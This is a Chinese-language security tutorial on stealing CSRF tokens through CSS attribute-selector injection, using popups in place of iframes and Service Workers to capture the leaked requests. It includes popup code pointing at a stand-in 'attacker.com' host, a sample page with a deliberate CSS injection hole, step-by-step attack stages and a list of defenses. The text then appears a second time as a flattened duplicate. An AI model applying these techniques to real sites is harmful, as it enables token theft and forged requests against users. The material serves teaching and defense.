利用CSS注入(无iFrames)窃取CSRF令牌
字数 1325 2025-08-18 11:37:02

CSS注入窃取CSRF令牌技术详解

1. 技术背景

CSS注入是一种利用CSS属性选择器窃取敏感数据的技术,特别适用于窃取CSRF令牌。这种攻击方式利用了以下关键特性:

  • CSS属性选择器:可以根据属性值匹配子字符串来选择元素
  • 资源加载机制:通过匹配结果触发外部资源加载
  • 无iframe限制:采用弹窗技术绕过iframe限制

2. 核心原理

2.1 CSS属性选择器攻击

攻击者利用CSS属性选择器的三种匹配模式:

  1. 前缀匹配[attribute^="value"] - 匹配以特定值开头的属性
  2. 后缀匹配[attribute$="value"] - 匹配以特定值结尾的属性
  3. 包含匹配[attribute*="value"] - 匹配包含特定值的属性

2.2 窃取机制

  1. 通过CSS注入将恶意样式表注入目标页面
  2. 使用属性选择器针对包含CSRF令牌的表单元素
  3. 当属性值与猜测模式匹配时,触发外部资源加载
  4. 通过观察加载的资源,逐字符推断出完整的令牌值

3. 技术实现细节

3.1 无iframe技术实现

传统方法依赖iframe,但现代网站大多限制iframe使用。替代方案:

// 创建虚拟弹窗
var win2 = window.open('https://attacker.com/placeholder', 'f', 
  "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1");

// 注入CSS的弹窗
var win2 = window.open(
  `https://attacker.com/cssInjection/victim.html?injection=${css}`, 
  'f', 
  "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1"
);

3.2 无服务器端技术

利用Service Workers拦截请求,避免需要后端服务器:

  1. 注册Service Worker拦截特定请求
  2. 通过postMessage将窃取的数据传回主页面
  3. 将CSRF令牌存储在本地存储中供后续使用

3.3 目标页面示例

<form action="https://victim.com" id="sensitiveForm">
  <input type="hidden" id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
</form>

<script src="mockingTheBackend.js"></script>
<script>
  var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
  var htmlEncode = fragment.replace(/</g,"&lt;").replace(/>/g,"&gt;");
  document.write("<style>" + htmlEncode + "</style>");
</script>

4. 攻击步骤详解

  1. 发现注入点:找到存在DOM型CSS注入漏洞的页面
  2. 构造恶意CSS:编写逐字符猜测CSRF令牌的CSS代码
  3. 触发弹窗:通过用户事件(如点击)触发恶意弹窗
  4. 加载恶意CSS:在弹窗中加载包含恶意CSS的目标页面
  5. 监听响应:通过Service Worker拦截资源请求
  6. 收集令牌:分析请求模式,逐步构建完整CSRF令牌
  7. 发起CSRF攻击:使用窃取的令牌构造恶意请求

5. 防御措施

  1. 实施内容安全策略(CSP)

    • 限制外部CSS加载
    • 禁止内联样式
  2. 输入过滤与编码

    • 对用户提供的CSS内容进行严格过滤
    • 对特殊字符进行编码
  3. CSRF令牌保护

    • 将令牌存储在HttpOnly cookie中
    • 使用一次性令牌
    • 将令牌与用户会话绑定
  4. 浏览器安全策略

    • 启用XSS保护
    • 限制弹窗行为

6. 技术限制与注意事项

  1. 浏览器兼容性

    • Service Worker目前主要支持Chrome
    • 跨域Service Worker拦截仍处于实验阶段
  2. 时间敏感性

    • 攻击需要在短时间内完成(约10秒)
    • 需要用户交互触发初始弹窗
  3. 反射型vs存储型

    • 反射型CSS注入比存储型更危险
    • 存储型需要服务器在渲染前更新CSS

7. 扩展思考

  1. 与其他攻击结合

    • 与XSS结合提高攻击成功率
    • 与点击劫持结合诱导用户交互
  2. 未来发展方向

    • 随着浏览器功能演进可能出现新变种
    • Web组件等新技术可能引入新的攻击面
  3. 检测与监控

    • 监控异常CSS加载行为
    • 检测可疑的Service Worker活动

通过深入理解这种攻击技术的原理和实现方式,安全人员可以更好地防御此类攻击,同时也能在渗透测试中合理评估相关风险。

CSS注入窃取CSRF令牌技术详解 1. 技术背景 CSS注入是一种利用CSS属性选择器窃取敏感数据的技术,特别适用于窃取CSRF令牌。这种攻击方式利用了以下关键特性: CSS属性选择器 :可以根据属性值匹配子字符串来选择元素 资源加载机制 :通过匹配结果触发外部资源加载 无iframe限制 :采用弹窗技术绕过iframe限制 2. 核心原理 2.1 CSS属性选择器攻击 攻击者利用CSS属性选择器的三种匹配模式: 前缀匹配 : [attribute^="value"] - 匹配以特定值开头的属性 后缀匹配 : [attribute$="value"] - 匹配以特定值结尾的属性 包含匹配 : [attribute*="value"] - 匹配包含特定值的属性 2.2 窃取机制 通过CSS注入将恶意样式表注入目标页面 使用属性选择器针对包含CSRF令牌的表单元素 当属性值与猜测模式匹配时,触发外部资源加载 通过观察加载的资源,逐字符推断出完整的令牌值 3. 技术实现细节 3.1 无iframe技术实现 传统方法依赖iframe,但现代网站大多限制iframe使用。替代方案: 3.2 无服务器端技术 利用Service Workers拦截请求,避免需要后端服务器: 注册Service Worker拦截特定请求 通过postMessage将窃取的数据传回主页面 将CSRF令牌存储在本地存储中供后续使用 3.3 目标页面示例 4. 攻击步骤详解 发现注入点 :找到存在DOM型CSS注入漏洞的页面 构造恶意CSS :编写逐字符猜测CSRF令牌的CSS代码 触发弹窗 :通过用户事件(如点击)触发恶意弹窗 加载恶意CSS :在弹窗中加载包含恶意CSS的目标页面 监听响应 :通过Service Worker拦截资源请求 收集令牌 :分析请求模式,逐步构建完整CSRF令牌 发起CSRF攻击 :使用窃取的令牌构造恶意请求 5. 防御措施 实施内容安全策略(CSP) : 限制外部CSS加载 禁止内联样式 输入过滤与编码 : 对用户提供的CSS内容进行严格过滤 对特殊字符进行编码 CSRF令牌保护 : 将令牌存储在HttpOnly cookie中 使用一次性令牌 将令牌与用户会话绑定 浏览器安全策略 : 启用XSS保护 限制弹窗行为 6. 技术限制与注意事项 浏览器兼容性 : Service Worker目前主要支持Chrome 跨域Service Worker拦截仍处于实验阶段 时间敏感性 : 攻击需要在短时间内完成(约10秒) 需要用户交互触发初始弹窗 反射型vs存储型 : 反射型CSS注入比存储型更危险 存储型需要服务器在渲染前更新CSS 7. 扩展思考 与其他攻击结合 : 与XSS结合提高攻击成功率 与点击劫持结合诱导用户交互 未来发展方向 : 随着浏览器功能演进可能出现新变种 Web组件等新技术可能引入新的攻击面 检测与监控 : 监控异常CSS加载行为 检测可疑的Service Worker活动 通过深入理解这种攻击技术的原理和实现方式,安全人员可以更好地防御此类攻击,同时也能在渗透测试中合理评估相关风险。